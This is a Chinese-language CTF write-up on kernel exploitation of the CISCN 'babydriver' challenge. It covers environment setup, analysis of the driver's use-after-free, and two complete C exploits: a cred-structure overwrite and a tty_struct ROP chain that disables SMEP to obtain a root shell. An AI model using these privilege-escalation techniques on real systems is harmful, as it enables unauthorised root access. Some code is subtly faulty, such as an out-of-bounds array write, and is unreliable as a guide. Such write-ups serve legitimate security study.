前言: 花了大概两周的时间学了一下kernel pwn的知识,感觉自己进度还是有点慢了,在这里总结复习一下。(加快进度:)
内核PWN环境搭建: 这里建议用qemu+gdb环境来调试,并且建议使用Ubuntu14.04,所需要的东西有:
其中busybox的作用是构建一个简单的文件系统和命令,以此配合内核的启动。
编译内核: 1.安装依赖: 1 2 sudo apt-get update sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc qemu qemu-system
####2. 下载源码:
https://mirrors.edge.kernel.org/pub/linux/kernel/
3. 解压后设置: 在源码目录:
make menuconfig
4. 内核生成:
make bzImage
生成的bzImage在/arch/x86/boot/下,vmlinux在源码根目录,前者为压缩内核,后者为静态编译,未经压缩的kernel。
编译busybox: 1. 下载:
https://busybox.net/downloads/busybox-1.30.0.tar.bz2
2. 解压后设置:
make menuconfig
进设置后,勾上Build static binary (no shared libs)
3. 编译:
make install -j4
4. 打包、内核初始化: 1 2 3 4 5 6 cd _install mkdir proc mkdir sys touch init chmod +x init touch packet
init中内核初始化:
1 2 3 4 5 6 7 8 9 10 11 12 #!/bin/sh echo "{==DBG==} INIT SCRIPT" mkdir /tmp mount -t proc none /proc mount -t sysfs none /sys mount -t debugfs none /sys/kernel/debug mount -t tmpfs none /tmp # insmod /xxx.ko # load ko mdev -s # We need this to find /dev/sda later echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds" setsid /bin/cttyhack setuidgid 1000 /bin/sh #normal user # exec /bin/sh #root
insmod为加载指定内核,如果加了-s则为调试选项。
packet中写入,文件打包:
1 2 3 #!/bin/sh echo "Generate rootfs.img" find . | cpio -o --format=newc > ./rootfs.img
实战熟悉kernel pwn流程: 用CISCN里的babydriver来练手,了解整个流程:
三个文件,rootfs.cpio代表前面所说的文件命令系统,也就是磁盘。需要解压,解压有特殊的解压方法,需要先用gunzip,但是gunzip认后缀不认文件格式,所以需要重命名下文件格式:
1 2 3 4 5 mkdir driver cd driver mv ../rootfs.cpio rootfs.cpio.gz gunzip ./rootfs.cpio.gz cpio -idmv < rootfs.cpio
当更改了其中的文件的时候,需要重新打包一下:
1 find . | cpio -o --format=newc > rootfs.cpio
boot.sh文件是qemu的启动脚本:
1 2 3 #!/bin/bash qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -gdb tcp::1234
-initrd 指定一个硬盘镜像文件
-kernel 指定内核镜像
-append 附加选项,指定no kaslr可以关闭随机偏移
-m 指定内存大小
-cpu 设置cpu安全选项,这里开启了smep保护
-smp 设置内核数和线程数
-s 和上面的-gdb tcp::1234相同,即-s是他的缩写,不需要重复写
接下来进入解压出来的硬盘文件里看看,主要看init文件,该文件是内核启动时的设置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f
其中insmod就是所加载的驱动babydriver.ko,我们所要利用的就是这个文件。所以需要我们从上面所示的文件夹中把这个驱动提取出来。为了方便后续的调试我们需要将setsid cttyhack setuidgid 1000 sh
改为值时0的root权限。
以上就是初期所需要做的所有工作。接下来开始按pwn的常规思路来解。
babyioctl: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; // rdx size_t v4; // rbx __int64 result; // rax _fentry__(filp, *(_QWORD *)&command); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL); babydev_struct.device_buf_len = v4; printk("alloc done\n"); result = 0LL; } else { printk(&unk_2EB); result = -22LL; } return result; }
该ioctl函数是驱动的核心函数,当参数为0x10001时,释放babydev结构体的缓冲区,并重新分配一个大小为第二参数值的空间。
babyopen: 1 2 3 4 5 6 7 8 int __fastcall babyopen(inode *inode, file *filp) { _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL); babydev_struct.device_buf_len = 64LL; printk("device open\n"); return 0; }
使用open时创建一个64大小的缓存块,初始化了babydev结构体。
babyrelease: 1 2 3 4 5 6 7 int __fastcall babyrelease(inode *inode, file *filp) { _fentry__(inode, filp); kfree(babydev_struct.device_buf); printk("device release\n"); return 0; }
关闭时释放babydev的缓冲区。
babywrite: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; // rdx ssize_t result; // rax ssize_t v6; // rbx _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_from_user(); result = v6; } return result; }
write函数先判断写入个数的值是否大于babydev的最大长度,否则成功写入。
babyread: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; // rdx ssize_t result; // rax ssize_t v6; // rbx _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_to_user(buffer); result = v6; } return result; }
也是babywrite一样的正常检查。
这里如果按正常思路来想是很难发现有漏洞的,关键就出在结构体容量就一个,所以如果后续又open了一个驱动,那么后来的驱动就会覆盖掉前者的驱动。如果free掉前者,那么后者就成了一个悬挂指针,产生UAF漏洞。
如何利用这个UAF,那么必须得知道cred这个结构体,可以通过cred来提权。
cred结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ struct rcu_head rcu; /* RCU deletion hook */ };
该结构体记录了进程的权限,每一个进程中都有一个cred结构体,如果修改了这个cred结构体那么也就修改了权限。得知cred结构体大小可以自己计算,或者直接调试利用sizeof查看大小,每个内核版本的cred大小都不同。
那么如何修改该结构体,当然用write函数,因为该处有UAF漏洞,那么让cred结构体出现在UAF处即可用write直接修改cred。该怎么让cred出现在此处,答案是新建一个cred,那么就可以用fork函数产生一个新进程,新进程就会创建一个新的cred了,所以我们就有如下的思路:
open一个驱动
再open一个驱动,覆盖第一个
free第一个驱动,malloc一个大小为cred大小的空间,产生UAF
fork一个新进程,让新进程的cred恰好在上面所malloc的空间中
利用babywrite向第二个驱动写,相当于修改cred结构体,提权
这里主要提一下调试的时候的注意点:
gdb起:
gdb ./vmlinux -q
这里如果没有vmlinux文件,可以利用extract-vmlinux 提取:
./extract-vmlinux ./bzImage > vmlinux
这里还需要导入驱动文件的符号表:
add-symbol-file ./***.ko 0xFFFFFFFFFFFFFF
后面的地址为.text段的地址,可以直接从qemu中查看:
1 2 3 4 5 / # cat proc/modules babydriver 16384 0 - Live 0xffffffffc0000000 (OE) 或 / # cat sys/module/babydriver/sections/.text 0xffffffffc0000000
查看都需要root权限,所以之前要求调试的时候将权限改为root。
之后的断点就可以直接用符号下断。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stropts.h> #include <sys/wait.h> #include <sys/stat.h> int main(){ int fd1 = open("/dev/babydev",2); int fd2 = open("/dev/babydev",2); int a = ioctl(fd1,0x10001,0xa8); close(fd1); int pid = fork(); //创建新进程 if(pid < 0){ printf("error!"); exit(0); } else if(pid == 0){ char b[30] = {0}; write(fd2,b,30); //修改cred的uid为root if(getuid() == 0){ system("/bin/sh"); exit(0); } } else{ wait(NULL); } return 0; }
提权:
###第二种解法(bypass smep):
第一种方法比较难想,虽然看样子很简单,但是第二种解法就属于比较常规的了。因为该内核开启了smep保护,所以我们可以想办法绕过该保护来达到提权。该保护的作用是当 CPU 处于 ring0
模式时,执行 用户空间的代码
会触发页错误。
如何绕过:
因为系统是根据cr4寄存器的第20位来判断内核是否开启了smep,为1时开启,为0时关闭,所以绕过方法就是将第20位置0,但是该寄存器的值无法直接查看,只能通过kernel crash时产生的信息查看:
mov cr4,0x6f0
如何提取该rop:
因为vmlinux未经压缩,所以可以通过vmlinux来提取rop:
ROPgadget —binary ./vmlinux > g2
或用ropper
ropper –file ./vmlinux –nocolor > g1
该方法利用的是一个蛮有意思的一个结构体,为tty_struct
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; < -- 这里 int index; /* Protects ldisc changes: Lock tty not pty */ struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; /* Termios values are protected by the termios rwsem */ struct ktermios termios, termios_locked; struct termiox *termiox; /* May be NULL for unsupported */ char name[64]; struct pid *pgrp; /* Protected by ctrl lock */ struct pid *session; unsigned long flags; int count; struct winsize winsize; /* winsize_mutex */ unsigned long stopped:1, /* flow_lock */ flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsigned long ctrl_status:8, /* ctrl_lock */ packet:1, unused_ctrl:BITS_PER_LONG - 9; unsigned int receive_room; /* Bytes free for queue */ int flow_change; struct tty_struct *link; struct fasync_struct *fasync; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; spinlock_t files_lock; /* protects tty_files list */ struct list_head tty_files; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; /* If the tty has a pending do_SAK, queue it here - akpm */ struct work_struct SAK_work; struct tty_port *port; } __randomize_layout;
其中有一个很有用的结构体tty_operations
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m); #ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch); #endif int (*proc_show)(struct seq_file *, void *); } __randomize_layout;
其中有着许多的函数指针,所以说对于我们构造rop来说就非常有用。
当open("/dev/ptmx", O_RDWR)
时会创建一个tty_struct。
如何使用tty_operations中的函数指针?
往上面所open的文件中write就会调用其中的int (*write)(struct tty_struct * tty,const unsigned char *buf, int count);
函数,依次类推。
所以我们该如何去构造呢。根据上文的UAF利用可以很容易想到,我们一样可以利用UAF构造大小和tty_struct一样的空间去存储新建的tty_struct,从而达到修改tty结构体的效果,并且自行构造出tty_operations
,修改其中的函数为我们的rop,从而在调用函数时成功劫持程序流到我们所构造的rop中。
先构造修改const struct tty_operations *ops;
为fake_tty_operations:
1 2 3 4 5 6 7 int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY); unsigned long fake_tty_str[3] = {0}; read(fd2,fake_tty_str,32); //读取前三组,保证和原先一样 fake_tty_str[3] = fake_tty_opera; //修改为fake_tty_operations //printf("fake_tty_opera:%x",fake_tty_opera); write(fd2,fake_tty_str,32);
这里我们利用修改write来劫持程序流,write通过上面查得在第八组的位置,所以我们在第八组的位置构造上我们的rop,但是这里有一个问题就是,当劫持到我们rop时,此时的栈不是我们所构造的栈,是内核态的栈,我们没办法继续执行下去:
我起初这样构造fake_tty_opera
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned long fake_tty_opera[30] = { 0xffffffff810d238d, // pop rdi ; ret 0x6f0, 0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret 0, 0xffffffff8100ce6e, // pop rax ; ret rop, 0xFFFFFFFF8181BFC5, 0xffffffff8100ce6e, // pop rax ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret };
当执行write函数时,会跳转到0xffffffff8100ce6e
处的fake_write执行,此时的状态如下:
此时需要我们把内核态的栈转化到我们构造的rop中去,因为此时rax寄存器中存储着我们所构造的fake_tty_opera ,所以可以使用:
1 2 mov rsp,rax xchg rsp,rax
来将栈转换到用户态来,如此可以自由构造rop。我们来栈回溯看看情况:
当我们调用write的时候,会执行到我们构造的fake_tty_opera中的write函数偏移为8组的位置:
可以很容易从上面看出程序的执行流程。
所以把rop改改,改成这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned long fake_tty_opera[30] = { 0xffffffff810d238d, // pop rdi ; ret 0x6f0, 0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret 0, 0xffffffff8100ce6e, // pop rax ; ret rop, 0xFFFFFFFF8181BFC5, 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret };
即可转换内核态栈到用户态。
因为fake_tty_opera可供我们利用的空间太小,所以我们需要跳出去重新构造一个大空间的rop链。上面的rop已经完成了cr4寄存器的更改,即关闭了smep保护。接下来rop所要做的任务就是调用commit_creds(prepare_kernel_cred(0))
函数来提权。这里因为已经关闭了smep所以可以直接用ret2usr方法来提权,后面构造的rop如下:
1 2 3 4 5 6 7 8 9 10 11 unsigned long rop[30] = { getroot, 0xffffffff81063694, // swapgs ; pop rbp ; ret 0, 0xffffffff814e35ef, // iretq; ret; getshell, user_cs, user_flag, user_rsp, user_ss };
这里需要注意的是这部分的rop和上部分的rop的栈也是不同的,所以在上部分的rop中也是需要栈迁移到第二部分的rop栈中去。接下来就是常规的getroot权限后,从内核态返回用户态再执行getshell的操作。这里有一个坑点就是:
1 2 不能将unsigned long rop[30]设置为unsigned long rop[] 不然会出现数组里的内容发生改变的效果,具体像这样:
但是执行完dec ebx
之后就变为:
导致执行到getroot函数时执行的并不是真实地址,发生crash。但是我一直没弄明白为什么一个只对ebx
寄存器产生影响的汇编句就把rop中的内容给改变了。但是限定上数组空间大小后就不会发生这样的情况。如有明白的请告诉我,感激不尽。
该方法主要介绍如何利用tty_struct利用UAF,并且利用tty_struct去bypass-smep保护,劫持程序流。不懂后面介绍的rop构造没关系,可以在下一篇文章中得到详细解答。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> unsigned long user_cs,user_ss,user_rsp,user_flag; unsigned long prepare_kernel_cred = 0xffffffff810a1810; unsigned long commit_creds = 0xffffffff810a1420; void save_state(){ __asm__( "mov user_cs,cs;" "mov user_ss,ss;" "mov user_rsp,rsp;" "pushf;" "pop user_flag;" ); puts("[*] save the state success!"); } void getshell(){ system("/bin/sh"); } void getroot(){ char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; (*cc)((*pkc)(0)); } int main(){ save_state(); unsigned long rop[] = { getroot, 0xffffffff81063694, // swapgs ; pop rbp ; ret 0, 0xffffffff814e35ef, // iretq; ret; getshell, user_cs, user_flag, user_rsp, user_ss }; unsigned long fake_tty_opera[30] = { 0xffffffff810d238d, // pop rdi ; ret 0x6f0, 0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret 0, 0xffffffff8100ce6e, // pop rax ; ret rop, 0xFFFFFFFF8181BFC5, 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret 0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret }; int fd1 = open("/dev/babydev",2); int fd2 = open("/dev/babydev",2); ioctl(fd1,0x10001,0x2e0); //printf("rop:%x",rop); close(fd1); int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY); unsigned long fake_tty_str[3] = {0}; read(fd2,fake_tty_str,32); fake_tty_str[3] = fake_tty_opera; //printf("fake_tty_opera:%x",fake_tty_opera); write(fd2,fake_tty_str,32); write(fd3,"V1NKe",5); return 0; }
提权:
参考链接: